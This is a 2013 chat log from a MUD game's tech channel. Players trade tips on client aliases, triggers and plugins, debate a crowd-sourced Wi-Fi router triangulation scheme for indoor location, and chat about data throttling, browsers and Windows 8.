T3/r7/2013-06-10.txt.gz:{chan ch=tech}Daddy Spoke Tech: say 1, say 2, say 3, ...., say 10 = #loop {1,10} {say %1}
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Nissassa Ssadab Tech: i still don't get what it does. does it just spitout the same wildcard 10 times? in a loop does it take a table and split them into values and then says the first 10?
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Daddy Spoke Tech: it loops through the changing variable
T3/r7/2013-06-10.txt.gz:{chan ch=tech}Daddy Spoke Tech: so, the wildcard %1 takes values 1, ..., 10, and the mud receives 10 say-events, each saying a different number
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DarkPchan Tech: how do you get the alias to be replaced w/o replacing the whole command line? probably simple sorry I dont code and my tablet had a really simple alias system
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Vale Tech: is there a way to disable netflix asking me to continue playing so frequently?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know if there is a app for android that lets you set a wallpaper without having to crop it before you set it
T3/r7/2013-06-11.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: is it possible to add a text after a certain line in mush? for example:  (K)(M)(G)(H) A Jewelry Box (192) (soh, psoh)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: dont think so, make notes?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i think it somehow could be done with trigger
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: wouldn't be hard for a few select items to do it for everyone would slow down your client a bit
T3/r7/2013-06-11.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm. "You are carrying:" would turn the trigger on, prompt would turn it off maybe
T3/r7/2013-06-11.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: oh, seems difficult
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: i use portals aliasses, and my id of the items
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Thunderous Norton Tech: well. if you had tags inv on, you could use those to start and end the triggers
T3/r7/2013-06-11.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thanks
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you might want to study the hyperlink_url and serialize.lua files to get an idea of how to handle reprinting the data and how to handle tables
T3/r7/2013-06-11.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: another thanks:)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: also, check out Bast's eqdb, which puts all your stuff into a database, and lets you create identifiers for the items
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: btw abe how do i use it/
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: The Dragon RandAlthor thinks you should listen to brutally honest abe.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: how do you use what?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: eq db
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: you go to his site, click the wiki, and look at the entry for Bast's plugins -> eqdb
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: that's how you use all his stuff
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: yeah but, i got a runtime error
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: did you follow the installation instructions?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: yes
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: when did you download Bast's folder? The download version was broken from March until a few days ago
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: oh isee what i did wrong
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Acidangel Tech: is there anyway to create an alert to notify when my qtimer has been reset and a quest is ready? 
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Dtboy Tech: yep,
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Dtboy Tech: what client?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Acidangel Tech: how might i go about that?  cmud
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Dtboy Tech: hmm, i dont have knowledge of cmud, but i know it can
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i use the warning sound from masterblaster as a triggersound in mushclient,can hear that from anywhere in my house
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: glad it can only fire if i've have been idle for more then 5 minutes
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Acidangel Tech: that is exactly the type of setup i am looking for.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i used had a weird occurnce i was on a quest my target was in a maze i could see the mob when i typed look but i couldn't attack it and con all showed there were no mobs in the room after a minute it fixed itself any idea why???
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: it was hidden/sneaking and you didn't have detects
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Scars Tech: what abe said
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: no i had just used spellup before taking the quest and i saw true sight land
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: for invis, it's a solid on/off thing, you either have the detect or you don't see it...for hidden/sneak, you can get a "saving throw" every time you look/try to start fight
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: true seeing isn't necessarily true seeing
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: and i could see its alignment aura
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: detect good/evil isn't detect hidden
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: the "Note:" part of help true seeing explains this a bit more
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: it was a cougarian field sentry i've never seen one hidden or invis
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: MOBs can randomly cast spells for their loaded class...occasionally they give themselves detects or stealths which they don't normally load with
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Vonliege Tech: is there a way to resize the searchand destroy GUI?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Ontuct Tech: I suspect you'd have to alter the code.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Vonliege Tech: it has a 'grabby' in the lower right corner, but it seems to be dead
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: how would i set up an alias like .su for spellup but so i can use it in two ways
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: on myself i.e. '.su' and on someone else i.e. '.su Jacob'
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: type alias .su spellup
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: cool ty
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: np
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Scars Tech: that's not going to work the way you want it to work
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: oh :(
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Scars Tech: built-in aliases will ignore anything after the alias
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Scars Tech: mud-side aliases, i should say
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Faylen Tech: No they don't
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Scars Tech: directly from the helpfile:  Any arguments after the alias when it's used will be ignored.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i just tested it and it works for me
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Scars Tech: then the helpfile is wrong
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: seems to work
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: lol odd >.>
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Scars Tech: carry on
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Scars Tech: the only thing i use mudside aliases to do is fix my common typos
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Scars Tech: scna -> scan
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Scars Tech: that sort of thing
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: i use mudside when im lazy
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Faylen Tech: actuallyit's not incorrect... That line is referring to aliases with multiple commands
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Scars Tech: oh, well, my fault for half-assedly reading the thing
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: Faylen grins evilly.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: and on the subject of mud side aliases i use them a good bit especially for my combat sppells bu foo is alot faster then c balefire foo
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Faylen Tech: Agreed. I actually have alias 1 2 3 and 4, and just change them as I get new combat spells/skills I want to use.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}CMFP Limunious Tech: i use alias , alias m
T3/r7/2013-06-11.txt.gz:{chan ch=tech}CMFP Limunious Tech: then i type , <spellname> when i get a new spell
T3/r7/2013-06-11.txt.gz:{chan ch=tech}CMFP Limunious Tech: then i just hit m every round
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: same concept but bu li ic etc. easier to remmeber what dam type i'm casting
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Anyone have any experience with/ideas for reverse triangulation? Essentially what I'm trying to do is crowd-source mobile devices to find router locations, so that from those router locations I can use more-accurate-than-gps location services inside of a building (think os a "you are here" app for malls).
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Swalec Tech: sure someone did that already, although they didn't crowdsource it
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yes and no
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I'll be writing the patent on the crowd-sourced reverse-triangulation, people have done location services for wifi routers, yes, but nobody has anything to find the location of an unknown router to reference for future purposes (hence why i'm crowd sourcing it)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: How would you do that in a way that would yield a single point on the part of the mobile device?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You would need 2 routers to do that, and you would need the mobile device to be simultaneously connected to both to do so
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Device A is 50M from router, Device B is 30M from router and 20M from Device A, and Device C is 40M from the router and 23M from Device B and 15M from Device A, that means There's only one possible location for the router to be in.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Crowd sourced so we can use each device as an additional traingulation service.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Swalec Tech: well, to triangulate you need a direction
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Even without a direction, if i know where 3 devices are relative to router and each other, I can find the router. Then I can use router/devices to find other devices.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What are you trying to locate? The router, or the mobiles? I assumed you would want to find the mobiles so as to display a location
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Going to be using bandwidth vs total throughput to determine distance.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I need to find the router first, then I can find the devices :P
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I need to reverse triangulate so I can traingulate ... I know how backasswards it seems, but we've determined that this is the only way to do it.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You must have at least 2 fixed points before triangulation is at all mathematically possible, afaik
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Otherwise your result rotates in-plane
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Right, we'll have 3 (the mobile devices) to find the router, then we'll have 3 points (2 devices/router) to find any other points.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yes, but where are the mobile devices? How do you find out their location?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: We can get within a degree of certainty by the gps location to traingulate down to the router.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Seems to me it would make much more sense to install routers at known locations, and base your calculations off them?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Triangulation with uncertainty involved magnifies that effect
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And if you are going reverse->normal that would involve a further step of uncertainty magnification
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's not going to be anything super-uber precise, like within 1 meter, but if we can get within 5-10M we can still turn-by-turn someone from Claire's to Nordstroms in the mall, ya know?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: if you're beginning with GPS, then your app will not be your stated goal of "more-accurate-than-gps"...
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: google has done crowdsourced triangulation via wifi access points as an alternative to gps. it's not very accurate
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You need to first start out with a map of the mall, obviously, but you would *then* need to pre-determine fixed points, there is no other way
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: We've been able to with known device locations, get accuracy within 2.3M so far... Now we're expanding our scope to find previously unknown locations to add to our traingulation abilities.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: right, with known device locations you're starting with 100% precision
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Agreed, this will be less accurate, but our studies show ony a variance of around 23%.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: so +- 11.5%
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That 23% would be multiplying with itself with every calculation you make, though
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: your studies should show that mobile devices using cell tower + gps is already better than you're even pretending to get...
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: No it won't. That variation only applies to the router, so if anything the 23% would stay in the calculations, but would not accumulate more variation.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: outside of a large building, yes abe. Inside, no.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: no, it applies to everything since the router is forming the basis for your calculations
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: This is very much aimed to pick up where gps leaves off. And gps can only get you to the front door (for the most part)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: you don't know where ANY device is
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: you should be able to google for ham fox hunt...using triangulation with ham radios to perform treasure hunts is a common amateur radio activity
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's as good of a start as any, thanks Abe.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: but another issue you'll run into is torroidal dispersion radios in use by access points
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: radios -> antenna designs
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The real problem I think you'll find even with the whole 23% issue, is reverse-triangulation => triangulation is circular reasoning - you find point A based on finding point B based on finding point A
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger crosses his arms and nods slowly and sagely.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: At some point you have to introduce a constant into the system
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: so "signal of xx strength on mobile 1" vs "signal of yy strength on mobile 2" doesn't mean "mobile 1 is closer to router than mobile 2"
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Not really. I found Point A with points B, C, and D and then to find Point B i use points  A, C, and D.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Where are B C and D?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The differential based on 4 rotating devices clears up some of the uncertainty.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: you didn't find point A with points B C and D though
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: We know BCD by their GPS coords.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Making the circle more complex doesn't stop it from being circular
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's circular with alternating device validation, though
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: As long as we have 4+ devices, we can validate any set of data from any of them. If we have <4, we're screwed though.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: so we have "I can't use GPS because once I enter the building I don't know where I am" plus "I used GPS to determine where 3 devices are within the building and where a fourth unknown is"...
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Router being included as one.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I can't use gps to determine reliably where they are in the store, but I can use it to know their geographical coordinates.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: To imagine how it would work, imagine you have a blank piece of paper. Your method can concievably place those points *in relation to each other* - though the accuracy is debatable.  You have not tied that relational mapping to any real-world mapping.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And using some gps data would mean you only have gps level accuracy, which people already have
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That knowledge with traingulating devices gives us the coords of the router, from which I can then reliably determine how far they are from the router, and other devices, and a known schematic of the building place them within 5M with a +-11.5% accuration variation.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: it doesn't give you the coords of the router
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It gives you the router relationally to the mobile devices (if it was accurate)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: damn u guys are smart :P
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: This part you guys can argue all you want. We've tested it, it works. My issue comes down to variation in wifi signals due to building materials and occupancy (some metals and the electrical impulses in human bodies actually vary the wifi range/radius in very noticeable ways)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: triangulation only works when you understand the power output and antenna configuration of all devices other than the unknown
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: How can i /reliably/ tell that device A is 5M from the router, if there are 100 bodies in between varying the signal.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: which is why they make this stuff for business use, where the business installs the antenna where they want
T3/r7/2013-06-11.txt.gz:{chan ch=tech}VampireDude Tech: cheez, i was under the impression that the human body mostly will only absorb the 400 mhz and it's derived wave functions?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: you were under a wrong impression
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: http://tinyurl.com/ody3ucd
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You can actually automate your home based off of gestures and how they affect the wifi signal. That's what that article I posted talks about.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}VampireDude Tech: cheez wow. that'd be kind of cool actually.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: We're working on something similar here in sprint, and now we can't continue because of their patent :P
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: you posted a link to your webmail ;-)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I what?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Lmfao, nice :P
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Try this one :P http://tinyurl.com/lddadqw
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: Cheez: do this one instead: http://tinyurl.com/bvfbsvo :-)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: As interesting as that is...how would it work for people with ADD or ADHD who's minds are always overly active? Would they never get phone calls? :P
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: heh, I like the comment about the guy's tranquility
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: haha, yeah
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: "Oh, so you're telling me I'll only be interupted when I don't want to be bothered?! :P"
T3/r7/2013-06-11.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: what does ut mean if they say my data service is going to be throttled back?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Leinei Tech: Probably going to decrease your maximum bandwidth
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Leinei Tech: So downloading stuff is going to be really slow
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Have you unplugged your modem, and tried plugging it directly into your computer?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: [Outlaw] Mendaloth looks around and whistles innocently.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: nope i can try that, so basically my download speed is   slower? but they can't put my internet off?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: slower
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: In all likelehood they can do whatever they want unless you are under contract, but throttling will make it slower, not cut it off entirely in theory.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Leinei Tech: They *can* do anything, as long as you don't have a contract saying they can't.  But yes, "throttled back" usually means it'll just be slower
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: [Outlaw] Mendaloth gasps as he realizes what Leinei did.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: Leinei enthusiastically high-fives [Outlaw] Mendaloth!
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daddy Spoke Tech: Do all of Bast pluggins require a MUSH version higher than the aard-mush version?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i'm pretty sure the aard(mushclient) is v4.89 which is the newest release
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daddy Spoke Tech: Mmmm ok
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: and unless bast has rewritten all his plugins they shouldn't require over 4.6#
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daddy Spoke Tech: gotcha
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: Bast uses aardMUSH, so he wouldn't make it require higher version (although which version of AardMUSH you use determine which version of MUSH you're using...Fiendish typically keeps pretty current)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daddy Spoke Tech: I might have unpacked the wrong version when I was trying to reset my files
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I've noticed Bast has a habit of using the dev version of aardmush, so if you are on the 'official' download you might be out of date.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: and of course note that Fiendish updates aardMUSH pretty regularly, but they only link on aard's main site every now & then
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Try fingering Fiendish for the dev version
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: so yeah, aardMUSH from aardwolf.com is older than aardMUSH looking at the "update checker" for aardMUSH
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: it's pretty current now, though...aardwolf.com's is 1723, the latest from Fiendish is 1748
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: although 1745's change was updating MUSHclient to 4.89 ;-)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}StarsOscar Tech: so where is the official d/l site then?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: gammon.au.com iirc
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: not for aardMUSH, no
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: the download page on Aard's site gives you lots of links to the development and homepage of the aard client package
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daddy Spoke Tech: just follow the "upgrading the client" link half way through the download page
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: The Dragon RandAlthor still doesn't use aardMUSH version of mushclient so not to current on its stuff.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daddy Spoke Tech: it takes you to fiendish's site
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: you should, rand (if you're using MUSH at all)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: meh i've had my mushclient setup the way i want for years now and the mapper feature messed with my speed in cps/ quests
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: the mapper feature wouldn't change your speed in campaigns/quests...worst case you'd just not use the mapper commands which makes it a zero-sum time change...
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: The Dragon RandAlthor just scripts for other people and updates his own stuff to be a little more effiecnt.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: yeah but just having it there displaying messed with my mental maps and that slows me down
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: and of course the realistic case would be that the mapper is better than you at pathfinding
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: so move/hide the display
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: you don't need to have it visible at all...and then you'd still get all the other benefits, plus the mapper would be quietly "learning" in the background for when you eventually wanted to invest the time in it
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: if i don't use the commands because mine function similiarly and have for years and i don't use the display why would i use resources to process all the extra data
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: because it does more than yours, and the mapper isn't the only feature
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i know and besides the GMCP handling and the statmon my client has done the rest since v3.46
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: it has done the rest of what you know about/realize...
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: true there maybe more to some of the less interesting plugin i haven't dug into to see what they can do
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay my scrollbar for IE isnt working, how can i fix this?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: switch to firefox
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: cannot withought fixing IE first
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: new computer ish, trying to change to opera actually
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: i was told ie was bad cause it was target by malware and whatever because it was the most commonly used browser, wouldnt it follow that as firefox becomes the most popular it will now be the IE #2 ?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Really much less about the browser and more about the operating system.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah, thats why im trying to change, just gotta get te scrollbar working first
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tynrael Tech: pgup/pgdown work?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Some malware is browser dependant, but any 'good' malware will target your underlying operating system and embed itself in your registry keys and whatnot.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Firefox can be run as a mobile application, so install it on a flash drive from a second computer and then you can run it on your computer with your IE all locked up
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well i can select text and scroll that way but thats getting anoying
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: yeah, what i mean though is I was told repeatedly that security is heavily flawed on IE
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Not so much IE 10, and not even really 9. But 8 and below, you're asking for it.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: and the browser was targeted because it was the most commonly used way back when
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i got whatever came with windows 8, (shit OS btw) 
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: dont feel bad i have vista
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hahahaha
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Win 8 browser == 10
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: vista i know never to get or even go near
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: 8 really isn't a crap OS, it's much less resource intensive and more fluid than all previous versions, most people are just irked they nuked the start button that windows has been training people to use since... well, forever.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's coming back in Doze Blue though
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im more erked that they removed / limited networking 
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's still there, just pushed much deeper out of the way of end-users :P
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: They took a OSX-like approach to hiding the powerful features to prevent idiocy.
